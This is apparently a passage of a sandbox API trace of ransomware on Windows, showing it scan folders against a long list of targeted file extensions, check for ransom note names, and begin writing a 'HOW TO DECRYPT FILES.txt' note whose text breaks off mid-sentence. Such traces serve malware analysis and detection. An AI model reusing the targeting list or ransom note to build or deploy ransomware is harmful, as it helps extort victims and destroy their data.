(lpString="*.dbf") returned 5 [0112.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.myox") returned 0 [0112.698] lstrlenA (lpString="*.myox") returned 6 [0112.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.myo") returned 0 [0112.698] lstrlenA (lpString="*.myo") returned 5 [0112.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbw") returned 0 [0112.698] lstrlenA (lpString="*.qbw") returned 5 [0112.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbb") returned 0 [0112.698] lstrlenA (lpString="*.qbb") returned 5 [0112.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbm") returned 0 [0112.698] lstrlenA (lpString="*.qbm") returned 5 [0112.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbo") returned 0 [0112.698] lstrlenA (lpString="*.qbo") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbx") returned 0 [0112.699] lstrlenA (lpString="*.qbx") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qba") returned 0 [0112.699] lstrlenA (lpString="*.qba") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qby") returned 0 [0112.699] lstrlenA (lpString="*.qby") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qbj") returned 0 [0112.699] lstrlenA (lpString="*.qbj") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.ofx") returned 0 [0112.699] lstrlenA (lpString="*.ofx") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.qif") returned 0 [0112.699] lstrlenA (lpString="*.qif") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mye") returned 0 [0112.699] lstrlenA (lpString="*.mye") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mbox") returned 0 [0112.699] lstrlenA (lpString="*.mbox") returned 6 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.eml") returned 0 [0112.699] lstrlenA (lpString="*.eml") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.pst") returned 0 [0112.699] lstrlenA (lpString="*.pst") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.ost") returned 0 [0112.699] lstrlenA (lpString="*.ost") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.idx") returned 0 [0112.699] lstrlenA (lpString="*.idx") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.dbx") returned 0 [0112.699] lstrlenA (lpString="*.dbx") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.sql") returned 0 [0112.699] lstrlenA (lpString="*.sql") returned 5 [0112.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mdb") returned 0 [0112.699] lstrlenA (lpString="*.mdb") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.fdb") returned 0 [0112.700] lstrlenA (lpString="*.fdb") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.wab") returned 0 [0112.700] lstrlenA (lpString="*.wab") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.dat") returned 0 [0112.700] lstrlenA (lpString="*.dat") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.txt") returned 0 [0112.700] lstrlenA (lpString="*.txt") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.jpeg") returned 0 [0112.700] lstrlenA (lpString="*.jpeg") returned 6 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.jpg") returned 0 [0112.700] lstrlenA (lpString="*.jpg") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.png") returned 0 [0112.700] lstrlenA (lpString="*.png") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.php") returned 0 [0112.700] lstrlenA (lpString="*.php") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.cs") returned 0 [0112.700] lstrlenA (lpString="*.cs") returned 4 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.cpp") returned 0 [0112.700] lstrlenA (lpString="*.cpp") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.rar") returned 0 [0112.700] lstrlenA (lpString="*.rar") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.zip") returned 0 [0112.700] lstrlenA (lpString="*.zip") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.html") returned 0 [0112.700] lstrlenA (lpString="*.html") returned 6 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.htm") returned 0 [0112.700] lstrlenA (lpString="*.htm") returned 5 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.xlsx") returned 0 [0112.700] lstrlenA (lpString="*.xlsx") returned 6 [0112.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.xls") returned 0 [0112.701] lstrlenA (lpString="*.xls") returned 5 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mp4") returned 0 [0112.701] lstrlenA (lpString="*.mp4") returned 5 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.ppt") returned 0 [0112.701] lstrlenA (lpString="*.ppt") returned 5 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.pptx") returned 0 [0112.701] lstrlenA (lpString="*.pptx") returned 6 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.doc") returned 0 [0112.701] lstrlenA (lpString="*.doc") returned 5 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.dot") returned 0 [0112.701] lstrlenA (lpString="*.dot") returned 5 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.docx") returned 0 [0112.701] lstrlenA (lpString="*.docx") returned 6 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.7z") returned 0 [0112.701] lstrlenA (lpString="*.7z") returned 4 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.tar") returned 0 [0112.701] lstrlenA (lpString="*.tar") returned 5 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.bz2") returned 0 [0112.701] lstrlenA (lpString="*.bz2") returned 5 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.gz") returned 0 [0112.701] lstrlenA (lpString="*.gz") returned 4 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mkv") returned 0 [0112.701] lstrlenA (lpString="*.mkv") returned 5 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.eml") returned 0 [0112.701] lstrlenA (lpString="*.eml") returned 5 [0112.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.msg") returned 0 [0112.701] lstrlenA (lpString="*.msg") returned 5 [0112.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.edb") returned 0 [0112.702] lstrlenA (lpString="*.edb") returned 5 [0112.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.accdb") returned 0 [0112.702] lstrlenA (lpString="*.accdb") returned 7 [0112.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.odb") returned 0 [0112.702] lstrlenA (lpString="*.odb") returned 5 [0112.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.java") returned 0 [0112.702] lstrlenA (lpString="*.java") returned 6 [0112.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.asm") returned 0 [0112.702] lstrlenA (lpString="*.asm") returned 5 [0112.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.pfx") returned 0 [0112.702] lstrlenA (lpString="*.pfx") returned 5 [0112.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.pem") returned 0 [0112.702] lstrlenA (lpString="*.pem") returned 5 [0112.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.p12") returned 0 [0112.702] lstrlenA (lpString="*.p12") returned 5 [0112.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.gpg") returned 0 [0112.702] lstrlenA (lpString="*.gpg") returned 5 [0112.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.EnterpriseSe#\\a6155c70b3df6c860303ffee7b560ade\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.vsd") returned 0 [0112.702] lstrlenA (lpString="*.vsd") returned 5 [0112.703] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b20524b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9b20524b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9b22b3ab, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 0 [0112.703] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.703] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b2c392c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9b2c392c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9b2c392c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a6155c70b3df6c860303ffee7b560ade", cAlternateFileName="A6155C~1")) returned 0 [0112.703] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.704] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6ec83cd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6ec83cd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6ec83cd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.IdentityMode#", cAlternateFileName="SYSTEM~2.IDE")) returned 1 [0112.704] lstrcmpA (lpString1=".", lpString2="System.IdentityMode#") returned -1 [0112.704] lstrcmpA (lpString1="..", lpString2="System.IdentityMode#") returned -1 [0112.704] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.704] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.IdentityMode#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#" [0112.704] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#") returned 67 [0112.704] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6ec83cd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6ec83cd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6ec83cd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.704] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.704] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6ec83cd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6ec83cd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6ec83cd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.704] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.704] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.704] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6ec83cd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6ec83cd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6ec83cd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="559a3dee015d005c199f3867b10f5bbc", cAlternateFileName="559A3D~1")) returned 1 [0112.704] lstrcmpA (lpString1=".", lpString2="559a3dee015d005c199f3867b10f5bbc") returned -1 [0112.704] lstrcmpA (lpString1="..", lpString2="559a3dee015d005c199f3867b10f5bbc") returned -1 [0112.704] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\*.*") returned="*.*" [0112.705] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\", lpString2="559a3dee015d005c199f3867b10f5bbc" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc" [0112.705] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc") returned 100 [0112.705] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6ec83cd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6ec83cd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6ec83cd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.705] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.705] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6ec83cd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6ec83cd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6ec83cd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.705] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.705] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.705] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e7c10d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd6e7c10d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd6e7c10d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.705] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.705] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.Selectors.ni.dll") returned -1 [0112.705] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.Selectors.ni.dll") returned -1 [0112.705] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.Selectors.ni.dll") returned -1 [0112.705] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\*.*") returned="*.*" [0112.705] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\" [0112.705] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\") returned="" [0112.705] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\HOW TO DECRYPT FILES.txt" [0112.705] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.identitymode#\\559a3dee015d005c199f3867b10f5bbc\\how to decrypt files.txt")) returned 0xffffffff [0112.705] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.IdentityMode#\\559a3dee015d005c199f3867b10f5bbc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.identitymode#\\559a3dee015d005c199f3867b10f5bbc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.709] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than 